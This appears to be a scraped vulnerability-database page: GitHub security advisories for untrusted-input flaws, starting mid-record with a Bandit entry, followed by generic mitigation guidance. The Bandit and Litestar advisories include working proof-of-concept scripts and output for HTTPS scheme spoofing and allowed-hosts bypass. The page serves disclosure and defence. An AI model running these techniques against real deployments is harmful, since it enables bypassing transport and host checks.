Bad Request`. Bandit 1.10.4 returns `:https`, confirming the spoof.\n\n### Impact\nTransport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:\n\n- `Plug.SSL` skipping its HTTP\u2192HTTPS redirect because the request \"already looks secure\", letting plaintext requests bypass the redirect entirely.\n- Cookies emitted with `secure: true` on a plaintext response, where a network attacker could capture them.\n- Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.\n- Application code that uses `conn.scheme` to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.\n\nThe vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on `conn.scheme`.\n\n### Script and Logs\n\n```elixir\n# Bandit reflects the client-supplied scheme into conn.scheme.\n#\n# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme\n# appears on the request target, ignoring the `secure?` flag that records\n# the actual transport state. HTTP/1.1 absolute-form request targets\n# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both\n# attacker-controlled strings that flow into this function. Over a\n# plaintext connection, a client can claim `https` and Bandit hands a\n# `%Plug.Conn{scheme: :https}` to the application \u2014 even though no TLS\n# was negotiated.\n#\n# Downstream Plug consumers that branch on `conn.scheme` are misled:\n# Plug.SSL\u0027s \"already secure, don\u0027t redirect\" path, `secure: true` cookie\n# flagging, audit logs, CSRF/SameSite gating, etc.\n#\n# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one\n# HTTP/1.1 absolute-form request with scheme `https://`, and prints the\n# `conn.scheme` the application observes. A fixed server should report\n# `:http` (or reject the request); the buggy server reports `:https`.\n#\n# Run: elixir scripts/bandit/http1_scheme_spoofing.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule SchemeApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    body = \"This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\\n\"\n    Plug.Conn.send_resp(conn, 200, body)\n  end\nend\n\ndefmodule SchemeSpoof do\n  @port 4321\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n\n    # Absolute-form request target with scheme \"https\" over a plaintext\n    # TCP connection. RFC 9112 \u00a73.2.2 allows absolute-form on any request;\n    # nothing about it implies the connection is TLS.\n    request =\n      \"GET https://127.0.0.1:#{@port}/ HTTP/1.1\\r\\n\" \u003c\u003e\n        \"Host: 127.0.0.1:#{@port}\\r\\n\" \u003c\u003e\n        \"Connection: close\\r\\n\" \u003c\u003e\n        \"\\r\\n\"\n\n    log(\"Sending plaintext HTTP/1.1 request with absolute-form target `https://\u2026/`.\")\n    :ok = :gen_tcp.send(sock, request)\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    :gen_tcp.close(sock)\n\n    log(\"Server response:\")\n    IO.puts(response)\n\n    cond do\n      response =~ \"conn.scheme=:https\" -\u003e\n        log(\"VULNERABLE \u2014 application sees conn.scheme = :https on a plaintext socket.\")\n        log(\"Plug.SSL\u0027s `already-secure` branch, `secure: true` cookies, etc. would all trust this.\")\n\n      response =~ \"conn.scheme=:http\" -\u003e\n        log(\"Server forced scheme to :http \u2014 bug appears patched.\")\n\n      true -\u003e\n        log(\"Unexpected response shape.\")\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nSchemeSpoof.run()\n```\n\n```logs\n12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://\u2026/`.\n[10:53:25.316] Server response:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 10:53:25 GMT\ncontent-length: 47\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nThis is what the Plug sees: conn.scheme=:https\n\n[10:53:25.316] VULNERABLE \u2014 application sees conn.scheme = :https on a plaintext socket.\n[10:53:25.316] Plug.SSL\u0027s `already-secure` branch, `secure: true` cookies, etc. would all trust this.\n```",
  "id": "GHSA-375f-4r2h-f99j",
  "modified": "2026-05-07T03:47:29Z",
  "published": "2026-05-07T03:47:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-375f-4r2h-f99j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39807"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/45feea20dea8af7ffd7245271107b695c040e667"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-39807.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39807"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bandit trusts client-supplied URI scheme on plaintext connections"
}

GHSA-3PC4-PJ89-2J67

Vulnerability from github – Published: 2022-03-10 00:00 – Updated: 2022-03-17 00:02
VLAI
Details

A Reliance on Untrusted Inputs in a Security Decision vulnerability in the login proxy of the openSUSE Build service allowed attackers to present users with a expected login form that then sends the clear text credentials to an attacker specified server. This issue affects: openSUSE Build service login-proxy-scripts versions prior to dc000cdfe9b9b715fb92195b1a57559362f689ef.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-36777"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-09T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Reliance on Untrusted Inputs in a Security Decision vulnerability in the login proxy of the openSUSE Build service allowed attackers to present users with a expected login form that then sends the clear text credentials to an attacker specified server.\nThis issue affects:\nopenSUSE Build service\nlogin-proxy-scripts versions prior to dc000cdfe9b9b715fb92195b1a57559362f689ef.",
  "id": "GHSA-3pc4-pj89-2j67",
  "modified": "2022-03-17T00:02:41Z",
  "published": "2022-03-10T00:00:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36777"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1191209"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3QMC-CJ7Q-62HV

Vulnerability from github – Published: 2026-06-10 19:12 – Updated: 2026-06-10 19:12
VLAI
Summary
Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header
Details

Summary

AllowedHostsMiddleware trusts the X-Forwarded-Host header as a fallback when the Host header is absent. Since X-Forwarded-Host is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the Host header and supplying an X-Forwarded-Host header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.

Details

In AllowedHostsMiddleware.__call__, the host value used for validation is resolved as follows:

https://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68

headers = MutableScopeHeaders(scope=scope)
if host := headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]:
    if self.allowed_hosts_regex.fullmatch(host):
        await self.app(scope, receive, send)
        return

When Host is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to X-Forwarded-Host without any verification that the request actually passed through a trusted reverse proxy.

An attacker can send a request with no Host header and set X-Forwarded-Host to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.

This is particularly dangerous when applications use the resolved host value for: - Generating password reset links (Host header injection → link points to attacker domain) - Cache key generation (cache poisoning) - Routing or backend selection decisions

PoC

"""
PoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0

Affected:
  litestar/middleware/allowed_hosts.py:68
  -> headers.get("host", headers.get("x-forwarded-host", "")).split(":")[0]
"""

import asyncio
from litestar import Litestar, get
from litestar.config.allowed_hosts import AllowedHostsConfig
from litestar.testing import TestClient


@get("/")
async def index() -> dict:
    return {"status": "ok"}


app = Litestar(
    route_handlers=[index],
    allowed_hosts=AllowedHostsConfig(allowed_hosts=["trusted.example.com"]),
)


# --- 1. Baseline: invalid host is blocked ---

with TestClient(app=app) as c:
    resp = c.get("/", headers={"host": "evil.com"})
    assert resp.status_code == 400
    print(f"[*] Host: evil.com -> {resp.status_code} (blocked)")


# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---

async def test_bypass():
    scope = {
        "type": "http",
        "method": "GET",
        "path": "/",
        "root_path": "",
        "scheme": "http",
        "query_string": b"",
        "headers": [
            # No "host" header — only x-forwarded-host
            (b"x-forwarded-host", b"trusted.example.com"),
        ],
        "server": ("testserver", 80),
        "app": app,
        "litestar_app": app,
        "state": {},
    }

    captured = {}

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        if message["type"] == "http.response.start":
            captured["status"] = message["status"]

    await app(scope, receive, send)
    return captured["status"]

status = asyncio.run(test_bypass())
print(f"[*] No Host + X-Forwarded-Host: trusted.example.com -> {status} (bypassed)")
assert status == 200, f"Expected 200, got {status}"
print(f"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host")

Output:

[*] Host: evil.com -> 400 (blocked)
[*] No Host + X-Forwarded-Host: trusted.example.com -> 200 (bypassed)
[!] AllowedHosts check passed using client-controlled X-Forwarded-Host

Impact

This is a host validation bypass vulnerability. Any application using AllowedHostsConfig is affected when deployed without a reverse proxy that strips X-Forwarded-Host, or when accepting HTTP/1.0 connections.

An attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:

  • Password reset poisoning: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain
  • Cache poisoning: cached responses keyed on the host value can be polluted with attacker-controlled content
  • Routing manipulation: backend routing decisions based on host value can be influenced
Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-10T19:12:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`AllowedHostsMiddleware` trusts the `X-Forwarded-Host` header as a fallback when the `Host` header is absent. Since `X-Forwarded-Host` is a client-controllable header, an attacker can bypass the allowed hosts validation by omitting the `Host` header and supplying an `X-Forwarded-Host` header set to a whitelisted domain. This enables host header injection attacks such as password reset poisoning, cache poisoning, and server-side request routing manipulation.\n\n### Details\n\nIn `AllowedHostsMiddleware.__call__`, the host value used for validation is resolved as follows:\n\nhttps://github.com/litestar-org/litestar/blob/main/litestar/middleware/allowed_hosts.py#L68\n\n```python\nheaders = MutableScopeHeaders(scope=scope)\nif host := headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]:\n    if self.allowed_hosts_regex.fullmatch(host):\n        await self.app(scope, receive, send)\n        return\n```\n\nWhen `Host` is absent (e.g., HTTP/1.0 clients, misconfigured proxies, or raw TCP connections), the middleware falls back to `X-Forwarded-Host` without any verification that the request actually passed through a trusted reverse proxy.\n\nAn attacker can send a request with no `Host` header and set `X-Forwarded-Host` to any whitelisted domain, bypassing the entire allowed hosts check. The application then processes the request as if it originated from a trusted host.\n\nThis is particularly dangerous when applications use the resolved host value for:\n- Generating password reset links (`Host` header injection \u2192 link points to attacker domain)\n- Cache key generation (cache poisoning)\n- Routing or backend selection decisions\n\n### PoC\n\n```python\n\"\"\"\nPoC: Allowed Hosts Bypass via X-Forwarded-Host in Litestar 3.0.0b0\n\nAffected:\n  litestar/middleware/allowed_hosts.py:68\n  -\u003e headers.get(\"host\", headers.get(\"x-forwarded-host\", \"\")).split(\":\")[0]\n\"\"\"\n\nimport asyncio\nfrom litestar import Litestar, get\nfrom litestar.config.allowed_hosts import AllowedHostsConfig\nfrom litestar.testing import TestClient\n\n\n@get(\"/\")\nasync def index() -\u003e dict:\n    return {\"status\": \"ok\"}\n\n\napp = Litestar(\n    route_handlers=[index],\n    allowed_hosts=AllowedHostsConfig(allowed_hosts=[\"trusted.example.com\"]),\n)\n\n\n# --- 1. Baseline: invalid host is blocked ---\n\nwith TestClient(app=app) as c:\n    resp = c.get(\"/\", headers={\"host\": \"evil.com\"})\n    assert resp.status_code == 400\n    print(f\"[*] Host: evil.com -\u003e {resp.status_code} (blocked)\")\n\n\n# --- 2. Bypass: ASGI scope without Host, with X-Forwarded-Host ---\n\nasync def test_bypass():\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": \"/\",\n        \"root_path\": \"\",\n        \"scheme\": \"http\",\n        \"query_string\": b\"\",\n        \"headers\": [\n            # No \"host\" header \u2014 only x-forwarded-host\n            (b\"x-forwarded-host\", b\"trusted.example.com\"),\n        ],\n        \"server\": (\"testserver\", 80),\n        \"app\": app,\n        \"litestar_app\": app,\n        \"state\": {},\n    }\n\n    captured = {}\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        if message[\"type\"] == \"http.response.start\":\n            captured[\"status\"] = message[\"status\"]\n\n    await app(scope, receive, send)\n    return captured[\"status\"]\n\nstatus = asyncio.run(test_bypass())\nprint(f\"[*] No Host + X-Forwarded-Host: trusted.example.com -\u003e {status} (bypassed)\")\nassert status == 200, f\"Expected 200, got {status}\"\nprint(f\"[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\")\n```\n\n**Output:**\n```\n[*] Host: evil.com -\u003e 400 (blocked)\n[*] No Host + X-Forwarded-Host: trusted.example.com -\u003e 200 (bypassed)\n[!] AllowedHosts check passed using client-controlled X-Forwarded-Host\n```\n\n### Impact\n\nThis is a host validation bypass vulnerability. Any application using `AllowedHostsConfig` is affected when deployed without a reverse proxy that strips `X-Forwarded-Host`, or when accepting HTTP/1.0 connections.\n\nAn attacker can bypass the allowed hosts restriction and have requests processed as if they originated from a trusted host. This can lead to:\n\n- **Password reset poisoning**: if the application uses the host value to generate reset links, the attacker can redirect them to a malicious domain\n- **Cache poisoning**: cached responses keyed on the host value can be polluted with attacker-controlled content\n- **Routing manipulation**: backend routing decisions based on host value can be influenced",
  "id": "GHSA-3qmc-cj7q-62hv",
  "modified": "2026-06-10T19:12:10Z",
  "published": "2026-06-10T19:12:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-3qmc-cj7q-62hv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/commit/6930a20ceb543912cd651b42deae5b9f3637a262"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/litestar-org/litestar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Litestar: AllowedHostsMiddleware bypasses host validation via client-controlled X-Forwarded-Host header"
}

GHSA-3XV9-89FM-7H4R

Vulnerability from github – Published: 2026-04-03 03:24 – Updated: 2026-05-06 20:32
VLAI
Summary
OpenClaw: diffs viewer misclassifies proxied remote requests as loopback when `allowRemoteViewer` is disabled
Details

Summary

diffs viewer misclassifies proxied remote requests as loopback when allowRemoteViewer is disabled

Current Maintainer Triage

  • Status: open
  • Normalized severity: low
  • Assessment: Shipped v2026.3.28 misclassified proxied diff-viewer requests as local loopback in some cases, a real but low-severity access-control flaw.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Latest published npm version: 2026.3.31
  • Vulnerable version range: <=2026.3.28
  • Patched versions: >= 2026.3.31
  • First stable tag containing the fix: v2026.3.31

Fix Commit(s)

  • 30a1690323088fd291abd11643a264a6828a002c — 2026-03-30T14:17:27-06:00

Release Process Note

  • The fix is already present in released version 2026.3.31.
  • This draft looks ready for final maintainer disposition or publication, not additional code-fix work.

Thanks @smaeljaish771 for reporting.

Severity
4.0 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
6.3 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.28"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.31"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T03:24:25Z",
    "nvd_published_at": "2026-04-28T19:37:43Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\ndiffs viewer misclassifies proxied remote requests as loopback when `allowRemoteViewer` is disabled\n\n## Current Maintainer Triage\n- Status: open\n- Normalized severity: low\n- Assessment: Shipped v2026.3.28 misclassified proxied diff-viewer requests as local loopback in some cases, a real but low-severity access-control flaw.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.28`\n- Patched versions: `\u003e= 2026.3.31`\n- First stable tag containing the fix: `v2026.3.31`\n\n## Fix Commit(s)\n- `30a1690323088fd291abd11643a264a6828a002c` \u2014 2026-03-30T14:17:27-06:00\n\n## Release Process Note\n- The fix is already present in released version `2026.3.31`.\n- This draft looks ready for final maintainer disposition or publication, not additional code-fix work.\n\nThanks @smaeljaish771 for reporting.",
  "id": "GHSA-3xv9-89fm-7h4r",
  "modified": "2026-05-06T20:32:43Z",
  "published": "2026-04-03T03:24:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3xv9-89fm-7h4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41403"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/30a1690323088fd291abd11643a264a6828a002c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.31"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-access-control-bypass-via-proxied-remote-request-misclassification"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: diffs viewer misclassifies proxied remote requests as loopback when `allowRemoteViewer` is disabled"
}

GHSA-4C7P-C7MQ-74M6

Vulnerability from github – Published: 2026-03-22 15:31 – Updated: 2026-03-22 15:31
VLAI
Details

ASPRunner.NET 10.1 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the table name field. Attackers can input a buffer of 10000 characters in the table name parameter during database table creation to trigger an application crash.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-25594"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-22T14:16:26Z",
    "severity": "MODERATE"
  },
  "details": "ASPRunner.NET 10.1 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the table name field. Attackers can input a buffer of 10000 characters in the table name parameter during database table creation to trigger an application crash.",
  "id": "GHSA-4c7p-c7mq-74m6",
  "modified": "2026-03-22T15:31:28Z",
  "published": "2026-03-22T15:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25594"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46823"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/asprunner-net-denial-of-service-via-table-name-field"
    },
    {
      "type": "WEB",
      "url": "https://xlinesoft.com"
    },
    {
      "type": "WEB",
      "url": "https://xlinesoft.com/asprunnernet/download.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-4FV3-V4JW-2Q2P

Vulnerability from github – Published: 2025-02-11 18:31 – Updated: 2025-02-11 18:31
VLAI
Details

A Reliance on Untrusted Inputs in a Security Decision vulnerability has been identified in the Lexmark Print Management Client.

Severity
9.3 (Critical)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-1126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-807"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-11T17:15:23Z",
    "severity": "CRITICAL"
  },
  "details": "A Reliance on Untrusted Inputs in a Security Decision vulnerability has been identified in the Lexmark Print Management Client.",
  "id": "GHSA-4fv3-v4jw-2q2p",
  "modified": "2025-02-11T18:31:35Z",
  "published": "2025-02-11T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1126"
    },
    {
      "type": "WEB",
      "url": "https://www.lexmark.com/en_us/solutions/security/lexmark-security-advisories.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-14
Architecture and Design

Strategy: Attack Surface Reduction

  • Store state information and sensitive data on the server side only.
  • Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.
  • If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).
Mitigation MIT-4.2
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • With a stateless protocol such as HTTP, use a framework that maintains the state for you.
  • Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45].
  • Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

  • Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list